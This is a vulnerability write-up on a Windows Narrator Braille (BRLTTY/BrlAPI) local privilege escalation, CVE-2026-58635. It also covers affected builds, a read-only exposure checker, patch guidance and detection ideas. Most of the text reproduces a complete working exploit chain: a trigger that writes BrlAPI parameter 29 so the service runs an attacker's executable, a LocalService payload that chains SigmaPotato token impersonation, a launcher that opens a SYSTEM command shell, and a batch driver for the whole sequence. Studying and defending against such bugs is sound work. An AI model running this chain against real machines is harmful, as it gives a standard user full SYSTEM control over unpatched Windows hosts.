
Executive Summary
CVE-2026-58635 is a local privilege-escalation vulnerability in an unlikely place: the Braille accessibility component that ships with Windows Narrator. Microsoft rates it Important, CVSS 3.1 score 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), and classifies it as CWE-77 command injection. Underneath Narrator’s Braille support Windows bundles BRLTTY, the open-source Braille driver, together with its BrlAPI service. A standard, non-administrator user can talk to that service over a loopback socket, write a single writable BrlAPI parameter, and cause the privileged BRLTTY process to launch an executable of the attacker’s choosing.
The publicly released proof-of-concept by DavidCarliez walks the whole chain: a low-privileged user starts the on-demand BrlAPI service, connects with no authentication, writes global parameter 29 (the “literary braille table”) pointing at a payload, and BRLTTY obligingly runs that payload as LocalService. Because that account holds SeImpersonatePrivilege, the demo optionally chains a well-known token-impersonation tool (SigmaPotato) to reach SYSTEM. This article explains what the bug is, how each stage of the PoC works and why, which Windows versions are affected, how Microsoft fixed it, and how to defend — with the original MIT-licensed code reproduced in full.
What CVE-2026-58635 Is
Windows Narrator can drive refreshable braille displays — hardware that raises and lowers physical dots so blind users can read the screen by touch. To support the huge range of such devices, Microsoft does not reinvent the wheel: it ships BRLTTY, the mature open-source braille subsystem, as an optional Windows capability called Accessibility.Braille. BRLTTY includes a small local server, BrlAPI, that lets programs query and configure the braille pipeline through a socket.

The vulnerability is a classic confused-deputy command injection. One of BrlAPI’s configuration parameters is meant to name a braille contraction table — a data file that describes how to abbreviate text into grade-2 braille. On Windows, BRLTTY will treat a table path whose extension appears in PATHEXT (for example .exe) as an external contraction program and execute it. The parameter is globally writable by any connected client, so a standard user can point it at an arbitrary executable and have the privileged service run it.
Background: BrlAPI, Parameters, and the BRLTTY Host-Command Launcher
A few moving parts make this exploitable, and they are worth naming precisely:
- The BrlAPI service. When the
Accessibility.Braillecapability is installed, Windows registers aBrlAPIservice. It is startable on demand and listens on a local endpoint. Critically, the reference configuration acceptsauth=noneconnections from local clients. - Global, writable parameters. BrlAPI exposes named parameters. BRLTTY 6.4.1 marks
BRLAPI_PARAM_LITERARY_BRAILLE_TABLE— parameter number 29 — as both global (affects the server, not just the caller) and writable by clients. - The contraction-table loader. The server passes the supplied string to its table-loading logic. On Windows that logic has a branch which, for a path with a
PATHEXTextension, launches it through BRLTTY’s host-command mechanism — i.e. it starts a process. - The privileged identity. The service (and therefore the launched process) runs as a Windows service account, not as the low-privileged caller. That is the privilege boundary the bug crosses.
Put together: an unprivileged client writes a global parameter, and a privileged process turns that attacker-controlled string into a new privileged process. No memory corruption, no exotic race — just input that reaches a command sink across a trust boundary.
The Vulnerability in Detail
Parameter 29 and the path-normalization quirk
The only subtlety is a path-format detail. BRLTTY’s Windows build (compiled with MinGW) recognizes an explicit drive path in this code path only when the separators are forward slashes, MinGW-style. So the trigger takes an ordinary Windows path such as C:\lab\bin\localservice_stage.exe and rewrites it to C:/lab/bin/localservice_stage.exe before writing it into parameter 29. Notably, the PoC hardcodes no usernames, drive letters, or install paths — it resolves everything at runtime, which is what makes it portable across machines.
That normalization lives in a tiny helper. Note how it simply swaps backslashes for forward slashes and converts to UTF-8:
std::string utf8_path_for_brltty(std::wstring path) {
// BRLTTY 6.4.1 on Windows recognizes explicit drive paths in this code path
// only when separators use the MinGW-style forward-slash form.
std::replace(path.begin(), path.end(), L'\\', L'/');
const int required = WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1,
nullptr, 0, nullptr, nullptr);
if (required <= 0) {
return {};
}
std::string result(static_cast<size_t>(required), '\0');
if (!WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1, result.data(),
required, nullptr, nullptr)) {
return {};
}
result.pop_back();
return result;
}
(Excerpt from brlapi_trigger.cpp; the full file appears below.)
How the Proof-of-Concept Works, Stage by Stage
The end-to-end flow the PoC demonstrates is short and readable:
standard user
-> starts the locally accessible BrlAPI service
-> connects to localhost:0 with auth=none
-> writes global BrlAPI parameter 29 (literary braille table)
-> BRLTTY interprets an executable path as an external contraction table
-> BRLTTY launches the supplied program as LocalService
-> optional SeImpersonate token stage
-> interactive SYSTEM command prompt
Stage 1 — The trigger: writing parameter 29
brlapi_trigger.exe is the heart of the CVE. It loads the system’s brlapi.dll, opens a connection requesting auth=none to localhost:0, and calls brlapi_setParameter for parameter 29 with the global flag set and the (forward-slashed) payload path as the value. That single write is the privilege-boundary crossing; everything after it is Windows faithfully doing what the parameter says.
#include "path_util.h"
#include <algorithm>
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>
namespace {
constexpr int kLiteraryBrailleTableParameter = 29;
constexpr unsigned int kGlobalParameterFlag = 1;
struct ConnectionSettings {
const char *auth;
const char *host;
};
struct BrlapiError {
int brlerrno;
int libcerrno;
int gaierrno;
const char *errfun;
};
using OpenConnection = int(WINAPI *)(const ConnectionSettings *,
ConnectionSettings *);
using SetParameter = int(WINAPI *)(int, unsigned long long, unsigned int,
const void *, size_t);
using CloseConnection = void(WINAPI *)();
using ErrorLocation = BrlapiError *(WINAPI *)();
using ErrorString = const char *(WINAPI *)(const BrlapiError *);
template <typename Function>
Function load_export(HMODULE library, const char *name) {
const FARPROC address = GetProcAddress(library, name);
Function function = nullptr;
static_assert(sizeof(function) == sizeof(address));
std::memcpy(&function, &address, sizeof(function));
return function;
}
std::wstring absolute_path(const wchar_t *input) {
std::vector<wchar_t> buffer(32768, L'\0');
const DWORD length = GetFullPathNameW(
input, static_cast<DWORD>(buffer.size()), buffer.data(), nullptr);
if (length == 0 || length >= buffer.size()) {
return {};
}
return std::wstring(buffer.data(), length);
}
std::string utf8_path_for_brltty(std::wstring path) {
// BRLTTY 6.4.1 on Windows recognizes explicit drive paths in this code path
// only when separators use the MinGW-style forward-slash form.
std::replace(path.begin(), path.end(), L'\\', L'/');
const int required = WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1,
nullptr, 0, nullptr, nullptr);
if (required <= 0) {
return {};
}
std::string result(static_cast<size_t>(required), '\0');
if (!WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1, result.data(),
required, nullptr, nullptr)) {
return {};
}
result.pop_back();
return result;
}
} // namespace
int wmain(int argc, wchar_t **argv) {
if (argc != 2) {
std::fwprintf(stderr, L"Usage: brlapi_trigger.exe ABSOLUTE_PAYLOAD_PATH\n");
return 2;
}
const std::wstring payload_path = absolute_path(argv[1]);
if (payload_path.empty() ||
GetFileAttributesW(payload_path.c_str()) == INVALID_FILE_ATTRIBUTES) {
std::fwprintf(stderr, L"Payload does not exist: %ls\n", argv[1]);
return 3;
}
const std::string brltty_payload_path = utf8_path_for_brltty(payload_path);
if (brltty_payload_path.empty()) {
std::fwprintf(stderr, L"Unable to convert payload path to UTF-8.\n");
return 4;
}
const std::wstring library_path =
path_util::join(path_util::system_directory(), L"brlapi.dll");
HMODULE library = LoadLibraryW(library_path.c_str());
if (!library) {
std::fwprintf(stderr, L"LoadLibraryW(%ls) failed: %lu\n",
library_path.c_str(), GetLastError());
return 5;
}
const auto open_connection =
load_export<OpenConnection>(library, "brlapi_openConnection");
const auto set_parameter =
load_export<SetParameter>(library, "brlapi_setParameter");
const auto close_connection =
load_export<CloseConnection>(library, "brlapi_closeConnection");
const auto error_location =
load_export<ErrorLocation>(library, "brlapi_error_location");
const auto error_string =
load_export<ErrorString>(library, "brlapi_strerror");
if (!open_connection || !set_parameter || !close_connection) {
std::fprintf(stderr, "Required BrlAPI exports are unavailable.\n");
FreeLibrary(library);
return 6;
}
ConnectionSettings requested = {"none", "localhost:0"};
ConnectionSettings actual = {};
const int descriptor = open_connection(&requested, &actual);
std::printf("Connection: descriptor=%d host=%s auth=%s\n", descriptor,
actual.host ? actual.host : "", actual.auth ? actual.auth : "");
if (descriptor < 0) {
FreeLibrary(library);
return 7;
}
const int result =
set_parameter(kLiteraryBrailleTableParameter, 0, kGlobalParameterFlag,
brltty_payload_path.data(), brltty_payload_path.size());
std::printf("Parameter %d global write: %d\n", kLiteraryBrailleTableParameter,
result);
if (result != 0 && error_location) {
const BrlapiError *error = error_location();
std::printf("BrlAPI error: code=%d libc=%d gai=%d function=%s message=%s\n",
error->brlerrno, error->libcerrno, error->gaierrno,
error->errfun ? error->errfun : "",
error_string ? error_string(error) : "");
}
close_connection();
FreeLibrary(library);
return result == 0 ? 0 : 8;
}
The shared path helpers it relies on — system-directory lookup, quoting, and results-directory creation — are collected in a small header:
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <string>
#include <vector>
namespace path_util {
inline std::wstring module_directory() {
std::vector<wchar_t> buffer(32768, L'\0');
const DWORD length = GetModuleFileNameW(nullptr, buffer.data(),
static_cast<DWORD>(buffer.size()));
if (length == 0 || length >= buffer.size()) {
return {};
}
std::wstring path(buffer.data(), length);
const std::wstring::size_type separator = path.find_last_of(L"\\/");
return separator == std::wstring::npos ? std::wstring{}
: path.substr(0, separator);
}
inline std::wstring system_directory() {
std::vector<wchar_t> buffer(32768, L'\0');
const UINT length =
GetSystemDirectoryW(buffer.data(), static_cast<UINT>(buffer.size()));
if (length == 0 || length >= buffer.size()) {
return {};
}
return std::wstring(buffer.data(), length);
}
inline std::wstring join(const std::wstring &directory,
const std::wstring &name) {
if (directory.empty()) {
return name;
}
if (directory.back() == L'\\' || directory.back() == L'/') {
return directory + name;
}
return directory + L"\\" + name;
}
inline std::wstring quote(const std::wstring &value) {
return L"\"" + value + L"\"";
}
inline std::vector<wchar_t> mutable_command(const std::wstring &command) {
std::vector<wchar_t> buffer(command.begin(), command.end());
buffer.push_back(L'\0');
return buffer;
}
inline std::wstring results_directory() {
const std::wstring directory = join(module_directory(), L"results");
if (!directory.empty()) {
CreateDirectoryW(directory.c_str(), nullptr);
}
return directory;
}
} // namespace path_util
Stage 2 — The LocalService payload
BRLTTY launches the payload as the service account. The PoC’s payload, localservice_stage.exe, first proves its identity by recording its username, SID and PID and dumping whoami /all (so you can see it holds SeImpersonatePrivilege), then — only if the helper binaries are present — optionally invokes the token-impersonation stage. It writes all evidence into a results folder.
#include "path_util.h"
#include <sddl.h>
#include <cstdio>
#include <string>
namespace {
struct ProcessResult {
bool created = false;
DWORD error = ERROR_SUCCESS;
DWORD exit_code = STILL_ACTIVE;
};
bool write_utf8(const std::wstring &path, const std::wstring &content) {
const int required = WideCharToMultiByte(CP_UTF8, 0, content.c_str(),
static_cast<int>(content.size()),
nullptr, 0, nullptr, nullptr);
if (required < 0) {
return false;
}
std::string encoded(static_cast<size_t>(required), '\0');
if (required > 0 &&
!WideCharToMultiByte(CP_UTF8, 0, content.c_str(),
static_cast<int>(content.size()), encoded.data(),
required, nullptr, nullptr)) {
return false;
}
HANDLE file = CreateFileW(path.c_str(), GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (file == INVALID_HANDLE_VALUE) {
return false;
}
DWORD written = 0;
const BOOL ok =
WriteFile(file, encoded.data(), static_cast<DWORD>(encoded.size()),
&written, nullptr);
CloseHandle(file);
return ok && written == encoded.size();
}
std::wstring current_identity() {
wchar_t username[256] = L"";
DWORD username_length = static_cast<DWORD>(std::size(username));
GetUserNameW(username, &username_length);
std::wstring sid_text = L"unknown";
HANDLE token = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
DWORD required = 0;
GetTokenInformation(token, TokenUser, nullptr, 0, &required);
auto *buffer = new unsigned char[required];
if (GetTokenInformation(token, TokenUser, buffer, required, &required)) {
LPWSTR converted_sid = nullptr;
const auto *token_user = reinterpret_cast<TOKEN_USER *>(buffer);
if (ConvertSidToStringSidW(token_user->User.Sid, &converted_sid)) {
sid_text = converted_sid;
LocalFree(converted_sid);
}
}
delete[] buffer;
CloseHandle(token);
}
wchar_t report[1024] = L"";
std::swprintf(report, std::size(report),
L"USER=%ls\r\nSID=%ls\r\nPID=%lu\r\n", username,
sid_text.c_str(), GetCurrentProcessId());
return report;
}
ProcessResult run_process(const std::wstring &application,
const std::wstring &command_line,
const std::wstring &working_directory,
const std::wstring &log_path, DWORD timeout_ms) {
ProcessResult result;
SECURITY_ATTRIBUTES attributes = {sizeof(attributes), nullptr, TRUE};
HANDLE log = CreateFileW(log_path.c_str(), GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, &attributes,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
STARTUPINFOW startup = {};
startup.cb = sizeof(startup);
startup.dwFlags = STARTF_USESTDHANDLES;
startup.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
startup.hStdOutput = log;
startup.hStdError = log;
PROCESS_INFORMATION process = {};
auto mutable_line = path_util::mutable_command(command_line);
result.created = CreateProcessW(
application.empty() ? nullptr : application.c_str(), mutable_line.data(),
nullptr, nullptr, TRUE, CREATE_NO_WINDOW, nullptr,
working_directory.c_str(), &startup, &process);
if (!result.created) {
result.error = GetLastError();
} else {
WaitForSingleObject(process.hProcess, timeout_ms);
GetExitCodeProcess(process.hProcess, &result.exit_code);
CloseHandle(process.hThread);
CloseHandle(process.hProcess);
}
if (log != INVALID_HANDLE_VALUE) {
CloseHandle(log);
}
return result;
}
} // namespace
int WINAPI wWinMain(HINSTANCE, HINSTANCE, PWSTR, int) {
const std::wstring binary_directory = path_util::module_directory();
const std::wstring results_directory = path_util::results_directory();
if (binary_directory.empty() || results_directory.empty()) {
return 1;
}
write_utf8(path_util::join(results_directory, L"localservice_identity.txt"),
current_identity());
const std::wstring command_shell =
path_util::join(path_util::system_directory(), L"cmd.exe");
const std::wstring whoami_output =
path_util::join(results_directory, L"localservice_whoami.txt");
const std::wstring whoami_command =
path_util::quote(command_shell) + L" /d /c whoami /all > " +
path_util::quote(whoami_output) + L" 2>&1";
run_process(command_shell, whoami_command, binary_directory,
path_util::join(results_directory, L"whoami_process.log"), 10000);
const std::wstring sigma =
path_util::join(binary_directory, L"SigmaPotato.exe");
const std::wstring launcher =
path_util::join(binary_directory, L"system_shell_launcher.exe");
if (GetFileAttributesW(sigma.c_str()) == INVALID_FILE_ATTRIBUTES ||
GetFileAttributesW(launcher.c_str()) == INVALID_FILE_ATTRIBUTES) {
write_utf8(path_util::join(results_directory, L"escalation_status.txt"),
L"CREATED=0\r\nERROR=Required sibling executable missing\r\n");
return 0;
}
const std::wstring escalation_command =
path_util::quote(sigma) + L" " + path_util::quote(launcher);
const ProcessResult escalation =
run_process(sigma, escalation_command, binary_directory,
path_util::join(results_directory, L"escalation.log"), 30000);
wchar_t status[256] = L"";
std::swprintf(status, std::size(status),
L"CREATED=%d\r\nERROR=%lu\r\nEXIT_CODE=%lu\r\n",
escalation.created ? 1 : 0, escalation.error,
escalation.exit_code);
write_utf8(path_util::join(results_directory, L"escalation_status.txt"),
status);
return 0;
}
Stage 3 — From LocalService to a visible SYSTEM shell
LocalService holds SeImpersonatePrivilege, the classic ingredient of the “Potato” family of local escalations. The demonstration uses SigmaPotato (a GodPotato derivative, Apache-2.0) to obtain a SYSTEM token, then launches a shell into the interactive console session. The launcher duplicates its token, retargets it at the active console session, and calls CreateProcessAsUserW so a visible CVE-2026-58635 SYSTEM SHELL window appears on the user’s desktop:
#include "path_util.h"
#include <userenv.h>
#include <cstdio>
#include <string>
namespace {
bool write_status(const std::wstring &path, DWORD session_id, bool created,
DWORD error) {
FILE *file = nullptr;
if (_wfopen_s(&file, path.c_str(), L"w") != 0 || !file) {
return false;
}
std::fwprintf(file, L"SESSION=%lu\nCREATED=%d\nERROR=%lu\n", session_id,
created ? 1 : 0, error);
std::fclose(file);
return true;
}
} // namespace
int wmain() {
DWORD session_id = WTSGetActiveConsoleSessionId();
const std::wstring results_directory = path_util::results_directory();
const std::wstring status_path =
path_util::join(results_directory, L"system_shell_status.txt");
HANDLE current_token = nullptr;
HANDLE primary_token = nullptr;
DWORD error = ERROR_SUCCESS;
bool created = false;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY |
TOKEN_ADJUST_SESSIONID,
¤t_token)) {
error = GetLastError();
goto cleanup;
}
if (!DuplicateTokenEx(current_token, MAXIMUM_ALLOWED, nullptr,
SecurityImpersonation, TokenPrimary, &primary_token)) {
error = GetLastError();
goto cleanup;
}
if (!SetTokenInformation(primary_token, TokenSessionId, &session_id,
sizeof(session_id))) {
error = GetLastError();
goto cleanup;
}
{
const std::wstring system_directory = path_util::system_directory();
const std::wstring command_shell =
path_util::join(system_directory, L"cmd.exe");
const std::wstring command_line = path_util::quote(command_shell) +
L" /k title CVE-2026-58635 SYSTEM SHELL";
auto mutable_line = path_util::mutable_command(command_line);
void *environment = nullptr;
CreateEnvironmentBlock(&environment, primary_token, FALSE);
STARTUPINFOW startup = {};
startup.cb = sizeof(startup);
startup.lpDesktop = const_cast<wchar_t *>(L"winsta0\\default");
PROCESS_INFORMATION process = {};
created = CreateProcessAsUserW(
primary_token, command_shell.c_str(), mutable_line.data(), nullptr,
nullptr, FALSE, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
environment, system_directory.c_str(), &startup, &process);
if (!created) {
error = GetLastError();
} else {
CloseHandle(process.hThread);
CloseHandle(process.hProcess);
}
if (environment) {
DestroyEnvironmentBlock(environment);
}
}
cleanup:
write_status(status_path, session_id, created, error);
if (primary_token) {
CloseHandle(primary_token);
}
if (current_token) {
CloseHandle(current_token);
}
return created ? 0 : 1;
}
Driving the whole chain
The standard-user driver script starts the service, runs the trigger, waits for the staged artifacts, and prints them. It is a useful map of the moving parts:
@echo off
setlocal EnableExtensions
set "ROOT=%~dp0.."
for %%I in ("%ROOT%") do set "ROOT=%%~fI"
set "BIN=%ROOT%\bin"
set "RESULTS=%BIN%\results"
cd /d "%ROOT%"
title CVE-2026-58635 manual test
if exist "%RESULTS%" rmdir /s /q "%RESULTS%"
mkdir "%RESULTS%" 2>nul
echo === Current security context ===
whoami
whoami /groups | findstr /i /c:"Mandatory Label" /c:"S-1-5-32-544"
echo.
echo Run this test from an existing standard-user account and a non-elevated prompt.
echo.
if not exist "%SystemRoot%\System32\brlapi.dll" (
echo [FAIL] brlapi.dll is absent. Run scripts\Prepare-Lab.ps1 elevated first.
pause
exit /b 10
)
if not exist "%BIN%\SigmaPotato.exe" (
echo [FAIL] bin\SigmaPotato.exe is absent.
echo Run scripts\Get-SigmaPotato.ps1 or copy the verified v1.2.6 binary into bin.
pause
exit /b 11
)
echo === Starting BrlAPI from the current user ===
sc.exe start BrlAPI
timeout /t 3 /nobreak >nul
sc.exe query BrlAPI
echo.
echo === Writing global BrlAPI parameter 29 ===
"%BIN%\brlapi_trigger.exe" "%BIN%\localservice_stage.exe"
set "TRIGGER_EXIT=%ERRORLEVEL%"
echo Trigger exit code: %TRIGGER_EXIT%
echo.
echo Waiting for LocalService and SYSTEM stages...
timeout /t 15 /nobreak >nul
echo.
echo === LocalService identity ===
if exist "%RESULTS%\localservice_identity.txt" (
type "%RESULTS%\localservice_identity.txt"
) else (
echo [MISSING] localservice_identity.txt
)
if exist "%RESULTS%\localservice_whoami.txt" (
findstr /i /c:"User Name" /c:"local service" /c:"SeImpersonatePrivilege" "%RESULTS%\localservice_whoami.txt"
)
echo.
echo === SYSTEM escalation ===
if exist "%RESULTS%\escalation.log" type "%RESULTS%\escalation.log"
if exist "%RESULTS%\escalation_status.txt" type "%RESULTS%\escalation_status.txt"
if exist "%RESULTS%\system_shell_status.txt" (
type "%RESULTS%\system_shell_status.txt"
) else (
echo [MISSING] system_shell_status.txt
)
echo.
echo Success opens a window titled "CVE-2026-58635 SYSTEM SHELL".
echo Run `whoami` there; the expected result is `nt authority\system`.
pause
exit /b %TRIGGER_EXIT%
On a vulnerable machine the run prints, among other lines:
Connection: descriptor=<number> host=localhost:0 auth=none
Parameter 29 global write: 0
USER=LOCAL SERVICE
SID=S-1-5-19
and, if the optional stage succeeds, a new window titled CVE-2026-58635 SYSTEM SHELL opens in which whoami returns nt authority\system. The PoC records its artifacts in bin\results:
| File | Purpose |
|---|---|
localservice_identity.txt | Username, SID, and PID of the CVE-launched stage |
localservice_whoami.txt | Full token groups and privileges |
escalation.log | Output from the optional token-impersonation helper |
escalation_status.txt | Helper process creation/error/exit status |
system_shell_status.txt | Active-session shell creation result |
Why It Works: Root Cause
The root cause is an attacker-controlled value flowing into a command sink across a privilege boundary, with three enabling conditions:
- Over-permissive parameter (design). A parameter that names a data table is marked globally writable by unauthenticated local clients, yet it can select an executable. Data and code are conflated.
- Extension-based code execution (CWE-77). The Windows contraction-table loader treats any path with a
PATHEXTextension as a program to run through the host-command launcher, rather than validating that it is a legitimate table file. - Privilege asymmetry. The launcher runs as a service account (LocalService / Network Service) rather than impersonating the low-privileged caller, so the caller borrows the service’s rights — a textbook confused deputy.
The SeImpersonatePrivilege held by those service accounts then makes the final hop to SYSTEM almost free, because the Potato technique turns that privilege into full impersonation of the most powerful token on the box. In short: a configuration write becomes code execution, and a service-account foothold becomes SYSTEM.
Which Operating Systems Are Affected
The vulnerable surface exists only when the optional Accessibility.Braille capability is installed. Microsoft’s advisory lists multiple Windows client and server branches as affected below their July 2026 fixed revisions. The PoC ships this screening table of build thresholds:
| Product branch | Potentially affected below | Known fixed level |
|---|---|---|
| Windows 10 1809 / Server 2019 | 17763.9020 | 17763.9020 or later |
| Windows 10 21H2 | 19044.7548 | 19044.7548 or later |
| Windows 10 22H2 | 19045.7548 | 19045.7548 or later |
| Windows Server 2022 | 20348.5386 | 20348.5386 or later |
| Windows 11 24H2 | 26100.8875 | 26100.8875 or later |
| Windows 11 25H2 | 26200.8875 | 26200.8875 or later |
| Windows 11 26H1 | 28000.2525 | 28000.2525 or later |
In short, supported Windows 10 and 11 clients and Windows Server 2019/2022/2025 are in scope where the Braille capability is present. Build numbers alone are only a screening signal — confirm against the vendor advisory and the installed-component inventory. Non-Windows systems are not affected by this CVE (though upstream BRLTTY runs on many platforms, this is a Windows-integration issue).
How to Check Your Exposure (Safely)
The repository includes a read-only preflight that never starts BrlAPI, writes parameter 29, or executes a payload. It reports the OS build/revision, the Braille capability state, whether brlapi.dll and brltty.exe are present, the BrlAPI service registration and identity, a comparison against the known fixed revision, and SHA-256 hashes of the installed components:
[CmdletBinding()]
param()
# Read-only preflight: does not start BrlAPI or write a BrlAPI parameter.
$OperatingSystem = Get-CimInstance Win32_OperatingSystem
$Build = [int]$OperatingSystem.BuildNumber
$Revision = [int](Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').UBR
$Capability = Get-WindowsCapability -Online -Name 'Accessibility.Braille*'
$Service = Get-CimInstance Win32_Service -Filter "Name='BrlAPI'" -ErrorAction SilentlyContinue
$BrlapiPath = Join-Path $env:SystemRoot 'System32\brlapi.dll'
$BrlttyPath = Join-Path $env:SystemRoot 'brltty\bin\brltty.exe'
$FixedRevisionByBuild = @{
17763 = 9020
19044 = 7548
19045 = 7548
20348 = 5386
26100 = 8875
26200 = 8875
28000 = 2525
}
$KnownBranch = $FixedRevisionByBuild.ContainsKey($Build)
$AtFixedRevision = $KnownBranch -and ($Revision -ge $FixedRevisionByBuild[$Build])
$SurfacePresent =
$Capability.State -eq 'Installed' -and
(Test-Path $BrlapiPath) -and
(Test-Path $BrlttyPath) -and
$null -ne $Service
Write-Host '=== CVE-2026-58635 read-only preflight ==='
[pscustomobject]@{
OperatingSystem = $OperatingSystem.Caption
Build = "$Build.$Revision"
BrailleCapability = $Capability.State
BrlapiDllPresent = Test-Path $BrlapiPath
BrlttyExePresent = Test-Path $BrlttyPath
BrlAPIService = if ($Service) { "$($Service.State) / $($Service.StartName)" } else { 'Absent' }
KnownBuildBranch = $KnownBranch
MeetsKnownFixedRevision = $AtFixedRevision
} | Format-List
if (-not $SurfacePresent) {
Write-Host 'RESULT: The Braille/BRLTTY attack surface is not currently installed or registered.' -ForegroundColor Green
} elseif ($AtFixedRevision) {
Write-Host 'RESULT: The surface exists, but the OS meets the known July 2026 fixed revision.' -ForegroundColor Green
} elseif ($KnownBranch) {
Write-Warning 'RESULT: The surface exists and the OS is below the known fixed revision: potentially vulnerable.'
} else {
Write-Warning 'RESULT: The surface exists, but this OS branch is not in the local threshold table. Consult the Microsoft advisory.'
}
foreach ($Path in @($BrlapiPath, $BrlttyPath)) {
if (Test-Path $Path) {
Get-Item $Path | Format-List FullName, Length, LastWriteTime,
@{Name = 'SHA256'; Expression = { (Get-FileHash $_.FullName -Algorithm SHA256).Hash }}
}
}
How to Fix It
- Patch. Install the applicable July 2026 (or later) cumulative update. For Windows 11 24H2 and 25H2 the fixed revisions (
26100.8875and26200.8875) ship in KB5101650. - Remove the attack surface if Braille is unused. If no one on the machine needs braille support, uninstall the optional capability entirely:
Remove-WindowsCapability -Online -Name Accessibility.Braille~~~~0.0.1.0
After remediating, rerun the checker and confirm the system either meets the fixed revision or no longer has the component installed.
Defensive Recommendations
- Inventory optional accessibility components. Know which endpoints actually have
Accessibility.Brailleinstalled; remove it where it is not needed to shrink attack surface. - Prioritise the patch on multi-user hosts. Terminal/RDS servers and shared workstations are where a standard-user-to-SYSTEM bug matters most.
- Hunt for the behavioural chain. Alert on the
BrlAPIservice being started by a non-admin, onbrltty.exespawning unexpected child processes, and on service accounts (LocalService / Network Service) launchingcmd.exeor unknown executables. - Watch for Potato-style escalation. Detections for token-impersonation tools (GodPotato/SigmaPotato and kin) and for
SeImpersonatePrivilegeabuse catch the second half of this chain regardless of the initial vector. - Constrain service accounts. Where feasible, reduce what LocalService/Network Service can execute and monitor for
CreateProcessAsUserinto the interactive session. - Keep endpoint protection on. The bundled impersonation helper is widely detected; do not disable AV/EDR to make PoCs run outside an isolated lab.
Key Takeaways
- CVE-2026-58635 is a CWE-77 command injection in the Windows Narrator Braille (BRLTTY/BrlAPI) component — a local privilege escalation, CVSS 7.8.
- A standard user writes globally-writable BrlAPI parameter 29 with an executable path; BRLTTY runs it as a service account (LocalService/Network Service).
- That account’s
SeImpersonatePrivilegeenables a Potato-style hop to SYSTEM (the PoC uses SigmaPotato). - It only affects machines where the optional
Accessibility.Braillecapability is installed; supported Windows 10/11 and Server 2019/2022/2025 are in scope below the July 2026 fixes. - Fix by installing the July 2026 update (KB5101650 for Win11 24H2/25H2) or removing the Braille capability.
- The lesson is old but evergreen: never let unprivileged, globally-writable configuration choose what a privileged process executes.
Conclusion
CVE-2026-58635 is a reminder that attack surface hides in the features we rarely think about — here, an accessibility subsystem most users never touch. The bug itself is not exotic: it is a configuration value that a privileged process turns into a command, exactly the pattern CWE-77 warns about. What makes it practically dangerous is the surrounding Windows context, where a service-account foothold with SeImpersonatePrivilege is a short walk from SYSTEM. The remediation is refreshingly concrete: patch, or remove the Braille capability where it is not needed — and, on the engineering side, keep data and code strictly separated across privilege boundaries.
Original text: “CVE-2026-58635: Windows Narrator Braille Local Privilege Escalation” proof-of-concept by DavidCarliez on GitHub (MIT License). Source code, scripts and tables reproduced verbatim with attribution.


